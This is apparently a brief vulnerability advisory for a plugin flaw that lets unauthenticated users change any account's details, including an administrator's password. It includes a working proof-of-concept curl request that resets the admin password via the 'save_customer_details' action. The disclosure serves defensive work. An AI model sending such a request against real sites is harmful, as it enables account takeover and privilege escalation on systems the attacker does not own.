Description The plugin does not properly validate parameters when updating user details, allowing an unauthenticated attacker to update the details of any user. Updating the password of an Admin user leads to privilege escalation.
curl 'https://example.com/' -d 'action=save_customer_details&customer_id=ADMIN_USER_ID&customer_password=NEW_PASSWORD&customer_email=ADMIN_EMAIL&customer_display_name=Foo'